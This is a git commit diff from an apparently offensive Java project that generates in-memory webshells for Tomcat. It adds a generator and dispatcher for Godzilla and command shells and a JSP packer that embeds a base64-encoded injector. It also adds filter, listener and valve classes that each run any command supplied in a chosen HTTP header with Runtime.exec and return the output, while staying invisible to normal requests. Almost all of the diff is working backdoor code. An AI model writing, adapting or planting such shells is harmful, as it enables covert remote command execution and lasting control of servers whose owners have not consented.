feat: support tomcat cmd shell and jsp packer

2026-09-24 16:01:52 +08:00 · 2024-11-27 00:35:35 +08:00
parent 184bd1e9ad
commit a06eb2f869
32 changed files with 867 additions and 74 deletions
@@ -0,0 +1,28 @@
+package com.reajason.javaweb.memsell;
+
+import net.bytebuddy.ByteBuddy;
+import net.bytebuddy.dynamic.DynamicType;
+import net.bytebuddy.implementation.FieldAccessor;
+import net.bytebuddy.implementation.Implementation;
+import net.bytebuddy.implementation.SuperMethodCall;
+import net.bytebuddy.matcher.ElementMatchers;
+
+/**
+ * @author ReaJason
+ * @since 2024/11/24
+ */
+public class CommandGenerator {
+
+    public static byte[] generate(Class<?> commandClass, String commandClassName, String headerName) {
+        Implementation.Composable fieldSets = SuperMethodCall.INSTANCE
+                .andThen(FieldAccessor.ofField("headerName").setsValue(headerName));
+        try (DynamicType.Unloaded<?> make = new ByteBuddy()
+                .redefine(commandClass)
+                .name(commandClassName)
+                .constructor(ElementMatchers.any())
+                .intercept(fieldSets)
+                .make()) {
+            return make.getBytes();
+        }
+    }
+}
@@ -14,7 +14,7 @@ import org.apache.commons.codec.digest.DigestUtils;
 */
 public class GodzillaGenerator {

-    public byte[] generate(Class<?> godzillaClass, String godzillaClassName,
+    public static byte[] generate(Class<?> godzillaClass, String godzillaClassName,
                           String pass, String key,
                           String headerName, String headerValue) {
        String md5Key = DigestUtils.md5Hex(key).substring(0, 16);
@@ -6,7 +6,6 @@ import net.bytebuddy.ByteBuddy;
 import net.bytebuddy.dynamic.DynamicType;
 import net.bytebuddy.implementation.FixedValue;
 import org.apache.commons.codec.binary.Base64;
-import org.apache.commons.lang3.StringUtils;

 import java.util.Objects;

@@ -19,7 +18,7 @@ import static net.bytebuddy.matcher.ElementMatchers.named;
 public class InjectorGenerator {

    @SneakyThrows
-    public byte[] generate(Class<?> injectClass, String injectClassName, String shellClassName, byte[] shellBytes, String urlPattern) {
+    public static byte[] generate(Class<?> injectClass, String injectClassName, String shellClassName, byte[] shellBytes, String urlPattern) {
        String base64String = Base64.encodeBase64String(CommonUtil.gzipCompress(shellBytes)).replace(System.lineSeparator(), "");;
        try (DynamicType.Unloaded<?> make = new ByteBuddy()
                .redefine(injectClass)
@@ -0,0 +1,24 @@
+package com.reajason.javaweb.memsell.packer;
+
+import com.reajason.javaweb.config.GenerateResult;
+import lombok.SneakyThrows;
+import org.apache.commons.io.IOUtils;
+
+import java.nio.charset.Charset;
+import java.util.Objects;
+
+/**
+ * @author ReaJason
+ * @since 2024/11/26
+ */
+public class JspPacker implements Packer {
+
+    @Override
+    @SneakyThrows
+    public byte[] pack(GenerateResult generateResult) {
+        String injectorBytesBase64Str = generateResult.getInjectorBytesBase64Str();
+        String injectorClassName = generateResult.getInjectorClassName();
+        String jspTemplate = IOUtils.toString(Objects.requireNonNull(this.getClass().getResourceAsStream("/shell.jsp")), Charset.defaultCharset());
+        return jspTemplate.replace("{{className}}", injectorClassName).replace("{{base64Str}}", injectorBytesBase64Str).getBytes();
+    }
+}
@@ -0,0 +1,11 @@
+package com.reajason.javaweb.memsell.packer;
+
+import com.reajason.javaweb.config.GenerateResult;
+
+/**
+ * @author ReaJason
+ * @since 2024/11/26
+ */
+public interface Packer {
+    byte[] pack(GenerateResult generateResult);
+}
@@ -0,0 +1,106 @@
+package com.reajason.javaweb.memsell.tomcat;
+
+import com.reajason.javaweb.config.*;
+import com.reajason.javaweb.memsell.CommandGenerator;
+import com.reajason.javaweb.memsell.GodzillaGenerator;
+import com.reajason.javaweb.memsell.InjectorGenerator;
+import com.reajason.javaweb.memsell.tomcat.command.*;
+import com.reajason.javaweb.memsell.tomcat.godzilla.*;
+import com.reajason.javaweb.memsell.tomcat.injector.TomcatFilterInjector;
+import com.reajason.javaweb.memsell.tomcat.injector.TomcatListenerInjector;
+import com.reajason.javaweb.memsell.tomcat.injector.TomcatValveInjector;
+import lombok.SneakyThrows;
+import org.apache.commons.lang3.tuple.Pair;
+
+import java.util.HashMap;
+import java.util.Map;
+
+/**
+ * @author ReaJason
+ * @since 2024/11/22
+ */
+public class TomcatShell {
+    public static final String SERVLET = "Servlet";
+    public static final String JAKARTA_SERVLET = "JakartaServlet";
+    public static final String FILTER = "Filter";
+    public static final String JAKARTA_FILTER = "JakartaFilter";
+    public static final String LISTENER = "Listener";
+    public static final String JAKARTA_LISTENER = "JakartaListener";
+    public static final String WEBSOCKET = "Websocket";
+    public static final String VALVE = "Valve";
+    public static final String UPGRADE = "Upgrade";
+    public static final String EXECUTOR = "Executor";
+
+    /**
+     * 哥斯拉 shell 生成的模板类以及注入器类
+     */
+    public static final Map<String, Pair<Class<?>, Class<?>>> GODZILLA_SHELL_MAP = new HashMap<>();
+
+    static {
+        GODZILLA_SHELL_MAP.put(FILTER, Pair.of(GodzillaFilter.class, TomcatFilterInjector.class));
+        GODZILLA_SHELL_MAP.put(JAKARTA_FILTER, Pair.of(GodzillaJakartaFilter.class, TomcatFilterInjector.class));
+        GODZILLA_SHELL_MAP.put(LISTENER, Pair.of(GodzillaListener.class, TomcatListenerInjector.class));
+        GODZILLA_SHELL_MAP.put(JAKARTA_LISTENER, Pair.of(GodzillaJakartaListener.class, TomcatListenerInjector.class));
+        GODZILLA_SHELL_MAP.put(VALVE, Pair.of(GodzillaValve.class, TomcatValveInjector.class));
+    }
+
+    /**
+     * 命令执行 shell 生成的模板类以及注入器类
+     */
+    public static final Map<String, Pair<Class<?>, Class<?>>> COMMAND_SHELL_MAP = new HashMap<>();
+
+    static {
+        COMMAND_SHELL_MAP.put(FILTER, Pair.of(CommandFilter.class, TomcatFilterInjector.class));
+        COMMAND_SHELL_MAP.put(JAKARTA_FILTER, Pair.of(CommandJakartaFilter.class, TomcatFilterInjector.class));
+        COMMAND_SHELL_MAP.put(LISTENER, Pair.of(CommandListener.class, TomcatListenerInjector.class));
+        COMMAND_SHELL_MAP.put(JAKARTA_LISTENER, Pair.of(CommandJakartaListener.class, TomcatListenerInjector.class));
+        COMMAND_SHELL_MAP.put(VALVE, Pair.of(CommandValve.class, TomcatValveInjector.class));
+    }
+
+    @SneakyThrows
+    public static GenerateResult generate(ShellTool shellTool, String shellType, ShellConfig shellConfig) {
+        if (shellTool == null || shellType == null || shellConfig == null) {
+            throw new IllegalArgumentException("Invalid arguments: shellTool, shellType, and shellConfig cannot be null.");
+        }
+        Pair<Class<?>, Class<?>> classPair;
+        byte[] shellBytes;
+        switch (shellTool) {
+            case Godzilla: {
+                classPair = GODZILLA_SHELL_MAP.get(shellType);
+                GodzillaShellConfig godzillaConfig = (GodzillaShellConfig) shellConfig;
+                shellBytes = GodzillaGenerator.generate(classPair.getLeft(),
+                        godzillaConfig.getShellClassName(),
+                        godzillaConfig.getPass(),
+                        godzillaConfig.getKey(),
+                        godzillaConfig.getHeaderName(),
+                        godzillaConfig.getHeaderValue());
+                break;
+            }
+            case CMD: {
+                classPair = COMMAND_SHELL_MAP.get(shellType);
+                CommandShellConfig commandConfig = (CommandShellConfig) shellConfig;
+                shellBytes = CommandGenerator.generate(classPair.getLeft(),
+                        commandConfig.getShellClassName(),
+                        commandConfig.getHeaderName());
+                break;
+            }
+            default:
+                throw new UnsupportedOperationException("Unknown shell tool: " + shellTool);
+        }
+
+        Class<?> injectorClass = classPair.getRight();
+        byte[] injectorBytes = InjectorGenerator.generate(injectorClass,
+                shellConfig.getInjectorClassName(),
+                shellConfig.getShellClassName(),
+                shellBytes,
+                shellConfig.getUrlPattern());
+
+        return GenerateResult.builder()
+                .shellClassName(shellConfig.getShellClassName())
+                .shellBytes(shellBytes)
+                .injectorClassName(shellConfig.getInjectorClassName())
+                .injectorBytes(injectorBytes)
+                .shellConfig(shellConfig)
+                .build().encodeBase64();
+    }
+}
@@ -0,0 +1,48 @@
+package com.reajason.javaweb.memsell.tomcat.command;
+
+import javax.servlet.*;
+import javax.servlet.http.HttpServletRequest;
+import javax.servlet.http.HttpServletResponse;
+import java.io.IOException;
+import java.io.InputStream;
+
+/**
+ * @author ReaJason
+ * @since 2024/11/24
+ */
+public class CommandFilter implements Filter {
+    public String headerName;
+
+    @Override
+    public void init(FilterConfig filterConfig) throws ServletException {
+
+    }
+
+    @Override
+    public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
+        HttpServletRequest servletRequest = (HttpServletRequest) request;
+        HttpServletResponse servletResponse = (HttpServletResponse) response;
+        String cmd = servletRequest.getHeader(headerName);
+        try {
+            if (cmd != null) {
+                Process exec = Runtime.getRuntime().exec(cmd);
+                InputStream inputStream = exec.getInputStream();
+                ServletOutputStream outputStream = servletResponse.getOutputStream();
+                byte[] buf = new byte[8192];
+                int length;
+                while ((length = inputStream.read(buf)) != -1) {
+                    outputStream.write(buf, 0, length);
+                }
+            } else {
+                chain.doFilter(servletRequest, servletResponse);
+            }
+        } catch (Exception e) {
+            chain.doFilter(servletRequest, servletResponse);
+        }
+    }
+
+    @Override
+    public void destroy() {
+
+    }
+}
@@ -0,0 +1,40 @@
+package com.reajason.javaweb.memsell.tomcat.command;
+
+import jakarta.servlet.*;
+import jakarta.servlet.http.HttpServletRequest;
+import jakarta.servlet.http.HttpServletResponse;
+
+import java.io.IOException;
+import java.io.InputStream;
+
+/**
+ * @author ReaJason
+ * @since 2024/11/24
+ */
+public class CommandJakartaFilter implements Filter {
+    public String headerName;
+
+    @Override
+    public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
+        HttpServletRequest servletRequest = (HttpServletRequest) request;
+        HttpServletResponse servletResponse = (HttpServletResponse) response;
+        String cmd = servletRequest.getHeader(headerName);
+        try {
+            if (cmd != null) {
+                Process exec = Runtime.getRuntime().exec(cmd);
+                InputStream inputStream = exec.getInputStream();
+                ServletOutputStream outputStream = servletResponse.getOutputStream();
+                byte[] buf = new byte[8192];
+                int length;
+                while ((length = inputStream.read(buf)) != -1) {
+                    outputStream.write(buf, 0, length);
+                }
+            } else {
+                chain.doFilter(servletRequest, servletResponse);
+            }
+        } catch (Exception e) {
+            chain.doFilter(servletRequest, servletResponse);
+        }
+    }
+
+}
@@ -0,0 +1,70 @@
+package com.reajason.javaweb.memsell.tomcat.command;
+
+import jakarta.servlet.ServletOutputStream;
+import jakarta.servlet.ServletRequestEvent;
+import jakarta.servlet.ServletRequestListener;
+import jakarta.servlet.http.HttpServletRequest;
+import jakarta.servlet.http.HttpServletResponse;
+
+import java.io.InputStream;
+import java.lang.reflect.Field;
+
+/**
+ * @author ReaJason
+ */
+public class CommandJakartaListener implements ServletRequestListener {
+    public String headerName;
+
+    public CommandJakartaListener() {
+    }
+
+    @Override
+    public void requestInitialized(ServletRequestEvent servletRequestEvent) {
+        HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest();
+        try {
+            String cmd = request.getHeader(headerName);
+            if (cmd != null) {
+                HttpServletResponse servletResponse = this.getResponseFromRequest(request);
+                Process exec = Runtime.getRuntime().exec(cmd);
+                InputStream inputStream = exec.getInputStream();
+                ServletOutputStream outputStream = servletResponse.getOutputStream();
+                byte[] buf = new byte[8192];
+                int length;
+                while ((length = inputStream.read(buf)) != -1) {
+                    outputStream.write(buf, 0, length);
+                }
+            }
+        } catch (Exception ignored) {
+        }
+    }
+
+    private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception {
+        HttpServletResponse response = null;
+        try {
+            response = (HttpServletResponse) getFieldValue(getFieldValue(request, "request"), "response");
+        } catch (Exception e) {
+            response = (HttpServletResponse) getFieldValue(request, "response");
+        }
+        return response;
+    }
+
+    @SuppressWarnings("all")
+    public static synchronized Object getFieldValue(Object obj, String name) throws Exception {
+        Field field = null;
+        Class<?> clazz = obj.getClass();
+        while (clazz != Object.class) {
+            try {
+                field = clazz.getDeclaredField(name);
+                break;
+            } catch (NoSuchFieldException var5) {
+                clazz = clazz.getSuperclass();
+            }
+        }
+        if (field == null) {
+            throw new NoSuchFieldException(name);
+        } else {
+            field.setAccessible(true);
+            return field.get(obj);
+        }
+    }
+}
@@ -0,0 +1,74 @@
+package com.reajason.javaweb.memsell.tomcat.command;
+
+import javax.servlet.ServletOutputStream;
+import javax.servlet.ServletRequestEvent;
+import javax.servlet.ServletRequestListener;
+import javax.servlet.http.HttpServletRequest;
+import javax.servlet.http.HttpServletResponse;
+import java.io.InputStream;
+import java.lang.reflect.Field;
+
+/**
+ * @author ReaJason
+ */
+public class CommandListener implements ServletRequestListener {
+    public String headerName;
+
+    public CommandListener() {
+    }
+
+    @Override
+    public void requestDestroyed(ServletRequestEvent sre) {
+
+    }
+
+    @Override
+    public void requestInitialized(ServletRequestEvent servletRequestEvent) {
+        HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest();
+        try {
+            String cmd = request.getHeader(headerName);
+            if (cmd != null) {
+                HttpServletResponse servletResponse = this.getResponseFromRequest(request);
+                Process exec = Runtime.getRuntime().exec(cmd);
+                InputStream inputStream = exec.getInputStream();
+                ServletOutputStream outputStream = servletResponse.getOutputStream();
+                byte[] buf = new byte[8192];
+                int length;
+                while ((length = inputStream.read(buf)) != -1) {
+                    outputStream.write(buf, 0, length);
+                }
+            }
+        } catch (Exception ignored) {
+        }
+    }
+
+    private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception {
+        HttpServletResponse response = null;
+        try {
+            response = (HttpServletResponse) getFieldValue(getFieldValue(request, "request"), "response");
+        } catch (Exception e) {
+            response = (HttpServletResponse) getFieldValue(request, "response");
+        }
+        return response;
+    }
+
+    @SuppressWarnings("all")
+    public static synchronized Object getFieldValue(Object obj, String name) throws Exception {
+        Field field = null;
+        Class<?> clazz = obj.getClass();
+        while (clazz != Object.class) {
+            try {
+                field = clazz.getDeclaredField(name);
+                break;
+            } catch (NoSuchFieldException var5) {
+                clazz = clazz.getSuperclass();
+            }
+        }
+        if (field == null) {
+            throw new NoSuchFieldException(name);
+        } else {
+            field.setAccessible(true);
+            return field.get(obj);
+        }
+    }
+}
@@ -0,0 +1,62 @@
+package com.reajason.javaweb.memsell.tomcat.command;
+
+import org.apache.catalina.Valve;
+import org.apache.catalina.connector.Request;
+import org.apache.catalina.connector.Response;
+
+import javax.servlet.ServletException;
+import javax.servlet.ServletOutputStream;
+import java.io.IOException;
+import java.io.InputStream;
+
+/**
+ * @author ReaJason
+ */
+public class CommandValve implements Valve {
+    protected Valve next;
+    protected boolean asyncSupported;
+    public String headerName;
+
+    public CommandValve() {
+    }
+
+    @Override
+    public Valve getNext() {
+        return this.next;
+    }
+
+    @Override
+    public void setNext(Valve valve) {
+        this.next = valve;
+    }
+
+    @Override
+    public boolean isAsyncSupported() {
+        return this.asyncSupported;
+    }
+
+    @Override
+    public void backgroundProcess() {
+    }
+
+    @Override
+    public void invoke(Request request, Response response) throws IOException, ServletException {
+        try {
+            String cmd = request.getHeader(headerName);
+            if (cmd != null) {
+                Process exec = Runtime.getRuntime().exec(cmd);
+                InputStream inputStream = exec.getInputStream();
+                ServletOutputStream outputStream = response.getOutputStream();
+                byte[] buf = new byte[8192];
+                int length;
+                while ((length = inputStream.read(buf)) != -1) {
+                    outputStream.write(buf, 0, length);
+                }
+            } else {
+                this.getNext().invoke(request, response);
+            }
+        } catch (Exception e) {
+            this.getNext().invoke(request, response);
+        }
+    }
+}
@@ -77,7 +77,6 @@ public class GodzillaFilter extends ClassLoader implements Filter {
        } catch (Exception e) {
            chain.doFilter(servletRequest, servletResponse);
        }
-
    }

    @Override